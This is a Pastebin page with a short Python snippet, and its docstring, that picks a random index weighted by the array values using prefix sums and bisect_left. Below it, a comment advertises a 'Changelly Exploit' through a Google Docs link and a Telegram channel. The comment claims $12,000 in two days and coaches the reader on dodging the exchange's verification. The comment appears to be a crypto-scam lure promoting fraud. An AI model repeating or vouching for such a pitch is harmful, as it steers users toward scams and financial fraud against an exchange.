imashutosh51

weighted Random pick

Apr 16th, 2026 (edited)
46
0
Never
2
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.57 KB | None | 0 0
  1. '''
  2. You have to choose an index random where the probability of getting it chosen depends on the number for eg. [2,5,3] so probability of getting chosen 2 should be 2/10, 5 should be 5/10, and 3 should be 3/10.
  3.  
  4. How it is possible, One approach is make that array as: [0,0,1,1,1,1,1,2,2,2] and take a random guess from 1 to 10 and take that index number that is actually the index of the actual array and this will be weighted random pick but this is inefficient.
  5.  
  6. M-2:
  7. you take the prefix sum so prefix_sum=[2,7,10] and now take a random guess from 1 to total sum ie. 10 and use the bisect_left so bisect left will look for the first position which can get populated by that random number so if you see;
  8. -2 will get chosen for 1 and 2, 2 times out of 10 times
  9. -7 will get chosen for 3,4,5,6,7, 5 times out of 10 times
  10. -10 will get chosen for 8,9,10, 3 times out of 10 times
  11. once an index is chosen, just return that index and that index is gonna be the weighted random index or the element of that index from the actual array as per the problem asked.
  12. '''
  13.  
  14. import random
  15. import bisect
  16. class WeightedRandomPicker:
  17.     def __init__(self, weights):
  18.         self.prefix = []
  19.         total = 0
  20.        
  21.         for w in weights:
  22.             total += w
  23.             self.prefix.append(total)
  24.        
  25.         self.total = total
  26.  
  27.     def pick(self):
  28.         r = random.randint(1, self.total)
  29.         idx = bisect.bisect_left(self.prefix, r)
  30.         return idx
  31.      
  32. weights = [2, 5, 3]
  33. picker = WeightedRandomPicker(weights)
  34.  
  35. print(picker.pick())  # returns index (0, 1, or 2)
Advertisement
Comments
  • User was banned
  • Oprimdu
    3 days
    # CSS 0.92 KB | 0 0
    1. ✅ Changelly Exploit Documentation Link:
    2.  
    3. https://docs.google.com/document/d/1WhlQi8xpq819kqTE2nXcZTAeCgQ5m-ic2pm_7IZVt7w/edit?usp=sharing
    4.  
    5. This made me $12,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 50% — they will simply correct the exchange rate.
    8.  
    9. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    10.  
    11. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from Changelly — instant swap).
    12.  
    13. Join our Telegram Channel for more exploits: https://t.me/byprotocol
Add Comment
Please, Sign In to add comment